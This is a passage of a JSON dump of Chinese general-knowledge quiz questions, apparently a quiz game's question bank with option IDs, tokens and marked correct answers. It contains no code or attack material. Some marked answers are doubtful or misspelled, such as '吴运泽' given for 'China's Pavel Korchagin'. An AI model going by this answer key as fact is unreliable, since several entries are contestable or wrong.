16:47:35","status":"1"},{"questionId":"8701437724","questionIndex":"1","questionStem":"“三明治”原产地?","options":"[{\"optionId\":\"I8MSx0BQiDmBmZw5qe8Whlq6uVZ3NSzW0QQ\",\"optionDesc\":\"德国\"},{\"optionId\":\"I8MSx0BQiDmBmZw5qe8Wh3bChEic9QYsVA4\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmBmZw5qe8WhY-c2lpYeQGKy_A\",\"optionDesc\":\"英国\"}]","questionToken":"I8MSx0BQiDmBmZxruqcN0I0-gH_sV5I8JER4jh0Io4xHk2OZr02r9EH2zqi4TGN6tYU2CvAurWF0zQpoOBTDVWeFkfETLw","correct":"{\"optionId\":\"I8MSx0BQiDmBmZw5qe8WhY-c2lpYeQGKy_A\",\"optionDesc\":\"英国\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437725","questionIndex":"1","questionStem":"“夜市”最早出现在?","options":"[{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhSm5AlLy8-YN-WDm\",\"optionDesc\":\"唐朝\"},{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhjOVpYdeLZt1hBDt\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"I8MSx0BQiDmBmJw5qe8Wh2vJuh01HfrJVatJ\",\"optionDesc\":\"元朝\"}]","questionToken":"I8MSx0BQiDmBmJxruqcN0M-BUqSc_iUfFrlgJrO0sxJdnHR4LxiKa0MgzSCij1_kvinoPznU6XH2kO6QV4vk2mWQQY-OAQ","correct":"{\"optionId\":\"I8MSx0BQiDmBmJw5qe8WhSm5AlLy8-YN-WDm\",\"optionDesc\":\"唐朝\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437726","questionIndex":"5","questionStem":"人类最早驯养的动物?","options":"[{\"optionId\":\"I8MSx0BQiDmBm5w5qe8Whr8UvMLh6ij0mNYZbw\",\"optionDesc\":\"鸡\"},{\"optionId\":\"I8MSx0BQiDmBm5w5qe8Wh478MdmA84AX11arGQ\",\"optionDesc\":\"马\"},{\"optionId\":\"I8MSx0BQiDmBm5w5qe8WheGZyCxHSI4AP0RBaQ\",\"optionDesc\":\"狗\"}]","questionToken":"I8MSx0BQiDmBm5xvuqcN1_Tk2q3fX-ntiJb2Stzb-Vn-jv8U5vQqvJvNQHJnTxE3qO72H6KOPisORmrIBLdnRdcqDePf6g","correct":"{\"optionId\":\"I8MSx0BQiDmBm5w5qe8WheGZyCxHSI4AP0RBaQ\",\"optionDesc\":\"狗\"}","create_time":"2/2/2021 16:48:07","update_time":"2/2/2021 16:48:07","status":"1"},{"questionId":"8701437727","questionIndex":"4","questionStem":"白雪公主出自?","options":"[{\"optionId\":\"I8MSx0BQiDmBmpw5qe8WhQCRQ8M_i4keTnZz\",\"optionDesc\":\"格林童话\"},{\"optionId\":\"I8MSx0BQiDmBmpw5qe8Wh_bloCE6DNUE_55U\",\"optionDesc\":\"小神龙俱乐部\"},{\"optionId\":\"I8MSx0BQiDmBmpw5qe8Whj1bZoz359u6mACV\",\"optionDesc\":\"安徒生童话\"}]","questionToken":"I8MSx0BQiDmBmpxuuqcN1xecXOMQV_OHpww7XFNhWN_p2vzTt97HSafKByTD6WUyPLsk4vvEPjdGcg-FjqL4FAQtoJpSzw","correct":"{\"optionId\":\"I8MSx0BQiDmBmpw5qe8WhQCRQ8M_i4keTnZz\",\"optionDesc\":\"格林童话\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437728","questionIndex":"3","questionStem":"龙虾的血液是什么颜色?","options":"[{\"optionId\":\"I8MSx0BQiDmBlZw5qe8Wh6U-5_2JbcUwVEX-\",\"optionDesc\":\"白色\"},{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhUVw8tnFje_9fFvs\",\"optionDesc\":\"蓝色\"},{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhjbgaKWpxdn6ohDw\",\"optionDesc\":\"红色\"}]","questionToken":"I8MSx0BQiDmBlZxpuqcN0KPPYiuRtK9LXRYlTNooc65nWl16H9nH2CYx5Mz6UA63bPwE1ZE999ESGXFsVrpbDwEeWiiDRQ","correct":"{\"optionId\":\"I8MSx0BQiDmBlZw5qe8WhUVw8tnFje_9fFvs\",\"optionDesc\":\"蓝色\"}","create_time":"2/2/2021 16:47:53","update_time":"2/2/2021 16:47:53","status":"1"},{"questionId":"8701437730","questionIndex":"2","questionStem":"格林童话作者是几个人?","options":"[{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhkZVxrU9Si860g\",\"optionDesc\":\"三个\"},{\"optionId\":\"I8MSx0BQiDmAnZw5qe8Wh9wp7yWYObnjAw\",\"optionDesc\":\"一个\"},{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhbGc4HrJInWmPQ\",\"optionDesc\":\"两个\"}]","questionToken":"I8MSx0BQiDmAnZxouqcN18k_HE4sXGsCLLcGKOt4ed37J_w4QacxePgbiV9SGvUxjUqV--MFtnmhD561DmRzeovxOmwuTg","correct":"{\"optionId\":\"I8MSx0BQiDmAnZw5qe8WhbGc4HrJInWmPQ\",\"optionDesc\":\"两个\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437741","questionIndex":"3","questionStem":"“中国的保尔柯察金”是谁?","options":"[{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhihXzG048X9RK1Xg\",\"optionDesc\":\"张海迪\"},{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhehUE5vx9IJu3AUh\",\"optionDesc\":\"吴运泽\"},{\"optionId\":\"I8MSx0BQiDmHnJw5qe8Wh7Z-WLJRFuBaj2Ae\",\"optionDesc\":\"梁思成\"}]","questionToken":"I8MSx0BQiDmHnJxpuqcN0CrGrOl6UQGzC__AZ4b50UPe3jsJcZiVCGmBRWlF6Yb0mjyyEwaO-VtlmobdkBZl4LtSHrunag","correct":"{\"optionId\":\"I8MSx0BQiDmHnJw5qe8WhehUE5vx9IJu3AUh\",\"optionDesc\":\"吴运泽\"}","create_time":"2/2/2021 16:48:20","update_time":"2/2/2021 16:48:20","status":"1"},{"questionId":"8701437742","questionIndex":"1","questionStem":"我国古代“十恶不赦”首赦是?","options":"[{\"optionId\":\"I8MSx0BQiDmHn5w5qe8Wh01jubTPFQjZF1E\",\"optionDesc\":\"不义\"},{\"optionId\":\"I8MSx0BQiDmHn5w5qe8WhtKy7BLmEh9vy7g\",\"optionDesc\":\"内乱\"},{\"optionId\":\"I8MSx0BQiDmHn5w5qe8WhfSrGEzOzK0wgwM\",\"optionDesc\":\"谋反\"}]","questionToken":"I8MSx0BQiDmHn5xruqcN0AykVgEcBev-PNgiS0tqFuwR3jb3cZukCwmqUAmSmPYUcKlRelSB_HJ90lwex4byhib2yV8TDQ","correct":"{\"optionId\":\"I8MSx0BQiDmHn5w5qe8WhfSrGEzOzK0wgwM\",\"optionDesc\":\"谋反\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437743","questionIndex":"5","questionStem":"“凿壁偷光”出自哪位人物苦学故事?","options":"[{\"optionId\":\"I8MSx0BQiDmHnpw5qe8WhbVDwRwhaZB_D_4F\",\"optionDesc\":\"匡衡\"},{\"optionId\":\"I8MSx0BQiDmHnpw5qe8Wh80ENCM9pA5Ibheq\",\"optionDesc\":\"孙敬\"},{\"optionId\":\"I8MSx0BQiDmHnpw5qe8Whq9ILyQhL0c5xn7N\",\"optionDesc\":\"车胤\"}]","questionToken":"I8MSx0BQiDmHnpxvuqcN1-WonS2812-JesIOJGvGkBSBnIiho2kBThXTU17kZcY7VzQf7x-Tcs4eUl-y9zShUp4YU4Cq9w","correct":"{\"optionId\":\"I8MSx0BQiDmHnpw5qe8WhbVDwRwhaZB_D_4F\",\"optionDesc\":\"匡衡\"}","create_time":"2/2/2021 16:47:59","update_time":"2/2/2021 16:47:59","status":"1"},{"questionId":"8701437744","questionIndex":"4","questionStem":"古代对“六十岁”年龄的人称呼是?","options":"[{\"optionId\":\"I8MSx0BQiDmHmZw5qe8WhikaVMUZh8k70iimUA\",\"optionDesc\":\"知天命\"},{\"optionId\":\"I8MSx0BQiDmHmZw5qe8Wh-j2hYQgnoHa33OXng\",\"optionDesc\":\"不惑\"},{\"optionId\":\"I8MSx0BQiDmHmZw5qe8WhY6RDbNsBuESXcbX7A\",\"optionDesc\":\"花甲\"}]","questionToken":"I8MSx0BQiDmHmZxuuqcN0MoOFuyA5U2MHAIdTsboqn1nGTCN2lLlpJ80nG_b8GBk_-GuCBuLphuNIYbnquD2oyuwsdWEVg","correct":"{\"optionId\":\"I8MSx0BQiDmHmZw5qe8WhY6RDbNsBuESXcbX7A\",\"optionDesc\":\"花甲\"}","create_time":"2/2/2021 16:47:32","update_time":"2/2/2021 16:47:32","status":"1"},{"questionId":"8701437745","questionIndex":"5","questionStem":"不属于世界四大通讯社之一的是?","options":"[{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhgClF4AzLykZb1Df\",\"optionDesc\":\"美联社\"},{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhxYxlTldE0AouRA6\",\"optionDesc\":\"法新社\"},{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhST0hcqGcVtmQHmW\",\"optionDesc\":\"塔斯社\"}]","questionToken":"I8MSx0BQiDmHmJxvuqcN0J29dtkDrJJPK4fCi4d-A_bX6E3mO3dGE7InZktTb3-4f8bIDfJmvC70Zpssln4OtnYujCyCXg","correct":"{\"optionId\":\"I8MSx0BQiDmHmJw5qe8WhST0hcqGcVtmQHmW\",\"optionDesc\":\"塔斯社\"}","create_time":"2/2/2021 16:47:40","update_time":"2/2/2021 16:47:40","status":"1"},{"questionId":"8701437746","questionIndex":"1","questionStem":"“红娘”由来出自哪部古典名剧?","options":"[{\"optionId\":\"I8MSx0BQiDmHm5w5qe8WhiUPF33oRaCmFZxP\",\"optionDesc\":\"琵琶记\"},{\"optionId\":\"I8MSx0BQiDmHm5w5qe8Wh6cGQg0bRYaZVjAY\",\"optionDesc\":\"桃花扇\"},{\"optionId\":\"I8MSx0BQiDmHm5w5qe8WhShW1s7NVOlQ3_J5\",\"optionDesc\":\"西厢记\"}]","questionToken":"I8MSx0BQiDmHm5xruqcN0KyBMUbGtOgB7bKaRcvfrecJrszAz-O2GJHMgJYOUmvP7F-hGnFTSImiG8mP32JNUTSaCwKquw","correct":"{\"optionId\":\"I8MSx0BQiDmHm5w5qe8WhShW1s7NVOlQ3_J5\",\"optionDesc\":\"西厢记\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437747","questionIndex":"4","questionStem":"我国最早的神话小说?","options":"[{\"optionId\":\"I8MSx0BQiDmHmpw5qe8Wh9JBejHP8cqI5iNc\",\"optionDesc\":\"山海经\"},{\"optionId\":\"I8MSx0BQiDmHmpw5qe8WhR2zoXyt7_ogEAHa\",\"optionDesc\":\"搜神记\"},{\"optionId\":\"I8MSx0BQiDmHmpw5qe8WhnLQv9o0rzHnzpbw\",\"optionDesc\":\"世说新语\"}]","questionToken":"I8MSx0BQiDmHmpxuuqcN1-f9LkacQMWAoXslKuuVtzEpC_SwUYH7NhXyCpGtTY1d3WkQ7XQYK391zFiOrLVx6Zv2FqRUhw","correct":"{\"optionId\":\"I8MSx0BQiDmHmpw5qe8WhR2zoXyt7_ogEAHa\",\"optionDesc\":\"搜神记\"}","create_time":"2/2/2021 16:47:36","update_time":"2/2/2021 16:47:36","status":"1"},{"questionId":"8701437748","questionIndex":"2","questionStem":"“念慈”是古代对对方亲属哪一位尊称?","options":"[{\"optionId\":\"I8MSx0BQiDmHlZw5qe8Wh5zaxD7wIGCoJ8BD\",\"optionDesc\":\"父亲\"},{\"optionId\":\"I8MSx0BQiDmHlZw5qe8Whnw2ytHNaN4iM4LD\",\"optionDesc\":\"伯父\"},{\"optionId\":\"I8MSx0BQiDmHlZw5qe8WhQTT_FptMFrlfPe1\",\"optionDesc\":\"母亲\"}]","questionToken":"I8MSx0BQiDmHlZxouqcN1zhyaPhSHMif06OS4mANtqSrBxdmEFW4FqktAYURguReLOgALiOMLKK3xd0M2qpZfGG9ud1Ftw","correct":"{\"optionId\":\"I8MSx0BQiDmHlZw5qe8WhQTT_FptMFrlfPe1\",\"optionDesc\":\"母亲\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437749","questionIndex":"1","questionStem":"哪个国家一般不准女性在生人面前露面?","options":"[{\"optionId\":\"I8MSx0BQiDmHlJw5qe8WhgXPO_I87CcD0VI\",\"optionDesc\":\"印度\"},{\"optionId\":\"I8MSx0BQiDmHlJw5qe8Wh1C47z6ELwMIsgU\",\"optionDesc\":\"印尼\"},{\"optionId\":\"I8MSx0BQiDmHlJw5qe8WhVPLt_Kp8UtPvQw\",\"optionDesc\":\"沙特阿拉伯\"}]","questionToken":"I8MSx0BQiDmHlJxruqcN131iAOPPBqJRuPufVFt9Ir6DXF2D4FDaN-ZcgDL4Zjn3mBLvpVp5265AiZQ1DOzj2woMa9vxYg","correct":"{\"optionId\":\"I8MSx0BQiDmHlJw5qe8WhVPLt_Kp8UtPvQw\",\"optionDesc\":\"沙特阿拉伯\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437750","questionIndex":"1","questionStem":"女子游泳衣称“比基尼”源于什么名?","options":"[{\"optionId\":\"I8MSx0BQiDmGnZw5qe8WhrfMnrUgSP9c3WKgJA\",\"optionDesc\":\"模特\"},{\"optionId\":\"I8MSx0BQiDmGnZw5qe8WhTMOhXF12qQfCQbjgA\",\"optionDesc\":\"小岛\"},{\"optionId\":\"I8MSx0BQiDmGnZw5qe8Wh5bqKhd0NSSSWIHx-Q\",\"optionDesc\":\"设计师\"}]","questionToken":"I8MSx0BQiDmGnZxruqcN0M0PdDyX_ABsWoABQVdLPAY2ZNgQs2qE5ujbbcwNu5eFk0D4JcEFmb-bK8Sws_heRNKCx2HIRA","correct":"{\"optionId\":\"I8MSx0BQiDmGnZw5qe8WhTMOhXF12qQfCQbjgA\",\"optionDesc\":\"小岛\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437751","questionIndex":"4","questionStem":"高尔夫球运动场上共有多少个球洞?","options":"[{\"optionId\":\"I8MSx0BQiDmGnJw5qe8Whs0eHv04zWZOeWXH\",\"optionDesc\":\"20个\"},{\"optionId\":\"I8MSx0BQiDmGnJw5qe8Wh-0SyRckF1yhd3U2\",\"optionDesc\":\"21个\"},{\"optionId\":\"I8MSx0BQiDmGnJw5qe8WhdeRgVlD0SuAFKbi\",\"optionDesc\":\"18个\"}]","questionToken":"I8MSx0BQiDmGnJxuuqcN0AGs5OsaOkLu6hGX3uqKmGuacEchhOzk8RPDykzaGwu-U-QuBIrETuU2X6W2rysQemUa8Wv8Jw","correct":"{\"optionId\":\"I8MSx0BQiDmGnJw5qe8WhdeRgVlD0SuAFKbi\",\"optionDesc\":\"18个\"}","create_time":"2/2/2021 16:47:42","update_time":"2/2/2021 16:47:42","status":"1"},{"questionId":"8701437752","questionIndex":"4","questionStem":"围棋共有多少个棋子?","options":"[{\"optionId\":\"I8MSx0BQiDmGn5w5qe8Wh4DaQlLCYIa3a5Wh\",\"optionDesc\":\"363个\"},{\"optionId\":\"I8MSx0BQiDmGn5w5qe8WhR3Z1GzFy2CmFT-X\",\"optionDesc\":\"361个\"},{\"optionId\":\"I8MSx0BQiDmGn5w5qe8WhhaIIfPkyJJwxN_w\",\"optionDesc\":\"360个\"}]","questionToken":"I8MSx0BQiDmGn5xuuqcN16eRfvqiJLgnY_esbgjTcynVRqUFtOmRjkUz3bkylpXfldY0gfSmCvrVEAG4Ee61PNrli3LrXQ","correct":"{\"optionId\":\"I8MSx0BQiDmGn5w5qe8WhR3Z1GzFy2CmFT-X\",\"optionDesc\":\"361个\"}","create_time":"2/2/2021 16:47:38","update_time":"2/2/2021 16:47:38","status":"1"},{"questionId":"8701437753","questionIndex":"2","questionStem":"名言“生命在于运动”是谁说的?","options":"[{\"optionId\":\"I8MSx0BQiDmGnpw5qe8WhnlPQuoSu99ld_w\",\"optionDesc\":\"契科夫\"},{\"optionId\":\"I8MSx0BQiDmGnpw5qe8WhdFjgXLkv20ceaY\",\"optionDesc\":\"伏尔泰\"},{\"optionId\":\"I8MSx0BQiDmGnpw5qe8Wh0m2vsMh2gqqABg\",\"optionDesc\":\"普希金\"}]","questionToken":"I8MSx0BQiDmGnpxouqcN0LdG9Vo9SQsG1JEmS3JH9gVajG9HG919pG2Rj3EjOfg6hQ71tMz2-wZwKGgBmGrguUB_jt5IiQ","correct":"{\"optionId\":\"I8MSx0BQiDmGnpw5qe8WhdFjgXLkv20ceaY\",\"optionDesc\":\"伏尔泰\"}","create_time":"2/2/2021 16:47:30","update_time":"2/2/2021 16:47:30","status":"1"},{"questionId":"8701437758","questionIndex":"4","questionStem":"曲棍球每半场的时间是多少分钟?","options":"[{\"optionId\":\"I8MSx0BQiDmGlZw5qe8Whee6JoT-J31AO_E\",\"optionDesc\":\"40分钟\"},{\"optionId\":\"I8MSx0BQiDmGlZw5qe8WhqGIdJTaCsLI9BA\",\"optionDesc\":\"45分钟\"},{\"optionId\":\"I8MSx0BQiDmGlZw5qe8Wh5EHMpNS7Fwshtk\",\"optionDesc\":\"50分钟\"}]","questionToken":"I8MSx0BQiDmGlZxuuqcN1-UO3KUfAIpKt4BU4L5qURGz_qqiA_7Ao5_tA4IbrWhMqYkhwDUCHqLWpGY2YxiN_MxSnEgqrQ","correct":"{\"optionId\":\"I8MSx0BQiDmGlZw5qe8Whee6JoT-J31AO_E\",\"optionDesc\":\"40分钟\"}","create_time":"2/2/2021 16:47:35","update_time":"2/2/2021 16:47:35","status":"1"},{"questionId":"8701437759","questionIndex":"4","questionStem":"迷踪拳的创始人是哪位武术家?","options":"[{\"optionId\":\"I8MSx0BQiDmGlJw5qe8WhpV0Vbofg8D7lBC24A\",\"optionDesc\":\"张长兴\"},{\"optionId\":\"I8MSx0BQiDmGlJw5qe8WhWX5ndilqQx0cGoSnA\",\"optionDesc\":\"霍元甲\"},{\"optionId\":\"I8MSx0BQiDmGlJw5qe8Whxk0M2lFPjnFw6GI3g\",\"optionDesc\":\"董海川\"}]","questionToken":"I8MSx0BQiDmGlJxuuqcN0Bo5VpGaqkNHZqRx4QC8bj18gzZfE_IM7M-Tzu6iq2zj1fDKFgIpY-c6eypQLuA6fc3ylyD21g","correct":"{\"optionId\":\"I8MSx0BQiDmGlJw5qe8WhWX5ndilqQx0cGoSnA\",\"optionDesc\":\"霍元甲\"}","create_time":"2/2/2021 16:48:54","update_time":"2/2/2021 16:48:54","status":"1"},{"questionId":"8701437760","questionIndex":"1","questionStem":"世界上第一个成文法典?","options":"[{\"optionId\":\"I8MSx0BQiDmFnZw5qe8Whjzho1GhfCiC2w\",\"optionDesc\":\"《法经》\"},{\"optionId\":\"I8MSx0BQiDmFnZw5qe8WhcPiMIBBzib0Bw\",\"optionDesc\":\"《乌尔纳姆法典》\"},{\"optionId\":\"I8MSx0BQiDmFnZw5qe8Wh2ngSdpT7-uPsQ\",\"optionDesc\":\"《汉莫拉比法典》\"}]","questionToken":"I8MSx0BQiDmFnZxruqcN1xeva4eH2y5zqg2vo8RjNEwUQH2Jb6lVZKAtmrgT8ly338PQosq5dOSWh4dwmYiqKnDlr-eCYw","correct":"{\"optionId\":\"I8MSx0BQiDmFnZw5qe8WhcPiMIBBzib0Bw\",\"optionDesc\":\"《乌尔纳姆法典》\"}","create_time":"2/2/2021 16:47:50","update_time":"2/2/2021 16:47:50","status":"1"},{"questionId":"8701437761","questionIndex":"5","questionStem":"国际法庭设在什么地方?","options":"[{\"optionId\":\"I8MSx0BQiDmFnJw5qe8Wh6gSMioX9eSzP8BY\",\"optionDesc\":\"瑞士\"},{\"optionId\":\"I8MSx0BQiDmFnJw5qe8WhsoPIFzIh-Wa8Tkc\",\"optionDesc\":\"美国\"},{\"optionId\":\"I8MSx0BQiDmFnJw5qe8WhWlWsr_1zCn-h3IE\",\"optionDesc\":\"荷兰\"}]","questionToken":"I8MSx0BQiDmFnJxvuqcN0K5YWxYiAkzAYyYQbP3uVR8ICgp2C1JPfhUhqPfGpOQS5RCPrrWe0HnL94MA82UbRuuqGnEfgg","correct":"{\"optionId\":\"I8MSx0BQiDmFnJw5qe8WhWlWsr_1zCn-h3IE\",\"optionDesc\":\"荷兰\"}","create_time":"2/2/2021 16:47:49","update_time":"2/2/2021 16:47:49","status":"1"},{"questionId":"8701437762","questionIndex":"4","questionStem":"我国目前把空气质量分为几个级别?","options":"[{\"optionId\":\"I8MSx0BQiDmFn5w5qe8WhR6NXTU1rnXFzX3k\",\"optionDesc\":\"5个\"},{\"optionId\":\"I8MSx0BQiDmFn5w5qe8WhzGkVSB6RpeOpT85\",\"optionDesc\":\"3个\"},{\"optionId\":\"I8MSx0BQiDmFn5w5qe8Whh9m3Kg6LJPWI7AH\",\"optionDesc\":\"4个\"}]","questionToken":"I8MSx0BQiDmFn5xuuqcN11EMQ-Vai7RDDLZgJ8siRnVZr-dA4DIeQoZ5RK1iYd2uX-VRbJcRLRQHniMmn4KGwH67Iv9-kw","correct":"{\"optionId\":\"I8MSx0BQiDmFn5w5qe8WhR6NXTU1rnXFzX3k\",\"optionDesc\":\"5个\"}","create_time":"2/2/2021 16:47:41","update_time":"2/2/2021 16:47:41","status":"1"},{"questionId":"8701437763","questionIndex":"4","questionStem":"哪项运动被誉为“体育运动之母”?","options":"[{\"optionId\":\"I8MSx0BQiDmFnpw5qe8WhnJLNwvNVSc7zMQ\",\"optionDesc\":\"游泳\"},{\"optionId\":\"I8MSx0BQiDmFnpw5qe8WhYp5NqX6ZSM_7ek\",\"optionDesc\":\"田径\"},{\"optionId\":\"I8MSx0BQiDmFnpw5qe8Wh2Z9jBIwOd-Jw5I\",\"optionDesc\":\"摔跤\"}]","questionToken":"I8MSx0BQiDmFnpxuuqcN1zHuXZv_eQ3shpJBWwmZNJm7yhYdtXzljQahEr7MX72da6ehRAZMXJfMmbpihUkHWQfBpk9C8A","correct":"{\"optionId\":\"I8MSx0BQiDmFnpw5qe8WhYp5NqX6ZSM_7ek\",\"optionDesc\":\"田径\"}","create_time":"2/2/2021 16:48:04","update_time":"2/2/2021 16:48:04","status":"1"},{"questionId":"8701437764","questionIndex":"4","questionStem":"下列人物中绰号叫做九纹龙的是?","options":"[{\"optionId\":\"I8MSx0BQiDmFmZw5qe8WhtDi56_F_WIgt1Hj\",\"optionDesc\":\"解珍\"},{\"optionId\":\"I8MSx0BQiDmFmZw5qe8WhTRZPxWR8kHlXgQr\",\"optionDesc\":\"史进\"},{\"optionId\":\"I8MSx0BQiDmFmZw5qe8Wh2AcqrZSM1X1I0N8\",\"optionDesc\":\"柴进\"}]","questionToken":"I8MSx0BQiDmFmZxuuqcN10Ghwz9Uqu_NVpxvu_wIMwcDYWWz_3iHCFCUtyWtKZxXqeDxjYRiZmjAhEJ_fG0HNmkyYDAY3Q","correct":"{\"optionId\":\"I8MSx0BQiDmFmZw5qe8WhTRZPxWR8kHlXgQr\",\"optionDesc\":\"史进\"}","create_time":"2/2/2021 16:47:45","update_time":"2/2/2021 16:47:45","status":"1"},{"questionId":"8701437766","questionIndex":"4","questionStem":"《名侦探柯南》中柯南不擅长的是?","options":"[{\"optionId\":\"I8MSx0BQiDmFm5w5qe8Wh-BV67Dbz6JFVp9r\",\"optionDesc\":\"滑板\"},{\"optionId\":\"I8MSx0BQiDmFm5w5qe8WhZTG69qmpeFkfmFr\",\"optionDesc\":\"唱歌\"},{\"optionId\":\"I8MSx0BQiDmFm5w5qe8WhtwKMK_w9ShXWmrY\",\"optionDesc\":\"足球\"}]","questionToken":"I8MSx0BQiDmFm5xuuqcN0M52Vp9ik6ae_SWOTjZF_MfWO7F3THtit-yt2TVFChSR39V51RCVrVAS5qb7X2-b6hCuRjgOeQ","correct":"{\"optionId\":\"I8MSx0BQiDmFm5w5qe8WhZTG69qmpeFkfmFr\",\"optionDesc\":\"唱歌\"}","create_time":"2/2/2021 16:48:05","update_time":"2/2/2021 16:48:05","status":"1"},{"questionId":"8701437767","questionIndex":"2","questionStem":"下列哪支球队没有获得过总冠军?","options":"[{\"optionId\":\"I8MSx0BQiDmFmpw5qe8Wh1-_dP_ryEJZ1-GA\",\"optionDesc\":\"火箭\"},{\"optionId\":\"I8MSx0BQiDmFmpw5qe8Whb2pFUdfb-eFEeMb\",\"optionDesc\":\"山猫\"},{\"optionId\":\"I8MSx0BQiDmFmpw5qe8WhlQvoOGJkbuoXfej\",\"optionDesc\":\"活塞\"}]","questionToken":"I8MSx0BQiDmFmpxouqcN0ImIcTr7JDowtRpTI18IdNJw6y5jTLcDnIeMbJUk_lQ4Awvn1lgwu_BJ-erTk_Ok2anveJVABw","correct":"{\"optionId\":\"I8MSx0BQiDmFmpw5qe8Whb2pFUdfb-eFEeMb\",\"optionDesc\":\"山猫\"}","create_time":"2/2/2021 16:47:27","update_time":"2/2/2021 16:47:27","status":"1"},{"questionId":"8701437768","questionIndex":"5","questionStem":"不属于二十四节气的是哪一个?","options":"[{\"optionId\":\"I8MSx0BQiDmFlZw5qe8WhU17MgCJObFr\",\"optionDesc\":\"大伏\"},{\"optionId\":\"I8MSx0BQiDmFlZw5qe8Wh7JmxoQRG77x\",\"optionDesc\":\"谷雨\"},{\"optionId\":\"I8MSx0BQiDmFlZw5qe8WhuGHnWeuWjmv\",\"optionDesc\":\"白露\"}]","questionToken":"I8MSx0BQiDmFlZxvuqcN0Mz1PyJQTPy8Q-AGb31mFo_dT7kCye_OXk5yaX9Op6uNds9KApbnW0wvrk7Az0fT29_JW4MgTQ","correct":"{\"optionId\":\"I8MSx0BQiDmFlZw5qe8WhU17MgCJObFr\",\"optionDesc\":\"大伏\"}","create_time":"2/2/2021 16:47:29","update_time":"2/2/2021 16:47:29","status":"1"},{"questionId":"8701437769","questionIndex":"2","questionStem":"太阳系的行星中自转速度最快的是?","options":"[{\"optionId\":\"I8MSx0BQiDmFlJw5qe8WhmAigJjWFHDKZ8PjYQ\",\"optionDesc\":\"水星\"},{\"optionId\":\"I8MSx0BQiDmFlJw5qe8Whz32wZKJvVFeKTgdAA\",\"optionDesc\":\"土星\"},{\"optionId\":\"I8MSx0BQiDmFlJw5qe8WhS7UVdTEHt9uWxhGYQ\",\"optionDesc\":\"木星\"}]","questionToken":"I8MSx0BQiDmFlJxouqcN0EKynrRQ6_-m8iJkPEDlmU79Vf5biEDWsdR2wWyfVJr1O9mAUj7c17jANb2J1B5pqzJu5BH0pw","correct":"{\"optionId\":\"I8MSx0BQiDmFlJw5qe8WhS7UVdTEHt9uWxhGYQ\",\"optionDesc\":\"木星\"}","create_time":"2/2/2021 16:47:39","update_time":"2/2/2021 16:47:39","status":"1"},{"questionId":"8701437770","questionIndex":"2","questionStem":"下列哪种生物不是由细胞构成的?","options":"[{\"optionId\":\"I8MSx0BQiDmEnZw5qe8WhaC6stJdJBVwMT1J\",\"optionDesc\":\"病毒\"},{\"optionId\":\"I8MSx0BQiDmEnZw5qe8Wh3281Qb-tZWYsHKN\",\"optionDesc\":\"鸡蛋\"},{\"optionId\":\"I8MSx0BQiDmEnZw5qe8Whkh1t1PzO_YUFgKF\",\"optionDesc\":\"细菌\"}]","questionToken":"I8MSx0BQiDmEnZxouqcN0L__Ix4RiT_utoX0f76TK2wmIDXJeJ9MFtf9OD0uYTa5ZYOQ5tGTYoc1WMGbG21DEgEwauevVg","correct":"{\"optionId\":\"I8MSx0BQiDmEnZw5qe8WhaC6stJdJBVwMT1J\",\"optionDesc\":\"病毒\"}","create_time":"2/2/2021 16:47:57","update_time":"2/2/2021 16:47:57","status":"1"},{"questionId":"8701437771","questionIndex":"4","questionStem":"马可波罗是在哪一朝代来到中国的?","options":"[{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhYDl7bT-NvP5dx30\",\"optionDesc\":\"元朝\"},{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhuIcTPobzbsapFRL\",\"optionDesc\":\"宋朝\"},{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhxXKaYXoL57ii2Xa\",\"optionDesc\":\"唐朝\"}]","questionToken":"I8MSx0BQiDmEnJxuuqcN154yqCl0iseKUk1EQP9xYididm1vhnlZj_-ir-MXyOLZAukCS2JH5ThirvGTlm7iWA9QL0SmpQ","correct":"{\"optionId\":\"I8MSx0BQiDmEnJw5qe8WhYDl7bT-NvP5dx30\",\"optionDesc\":\"元朝\"}","create_time":"2/2/2021 16:47:28","update_time":"2/2/2021 16:47:28","status":"1"},{"questionId":"8701437772","questionIndex":"1","questionStem":"生鱼片在日本是用哪两个汉字称呼?","options":"[{\"optionId\":\"I8MSx0BQiDmEn5w5qe8Wh6Dcb3W00dIzvR71\",\"optionDesc\":\"煮物\"},{\"optionId\":\"I8MSx0BQiDmEn5w5qe8WhnxOE70UG2VU9JO3\",\"optionDesc\":\"唐扬\"},{\"optionId\":\"I8MSx0BQiDmEn5w5qe8WhbCXFxYWAYhhQ5su\",\"optionDesc\":\"刺身\"}]","questionToken":"I8MSx0BQiDmEn5xruqcN0AmR-kFWDuusqN2IxtOY24GOuHvde5Q0X89erAQ4p8-LLz7S1ZxsmA9LzM60Nddj-NexFKy5vg","correct":"{\"optionId\":\"I8MSx0BQiDmEn5w5qe8WhbCXFxYWAYhhQ5su\",\"optionDesc\":\"刺身\"}","create_time":"2/2/2021 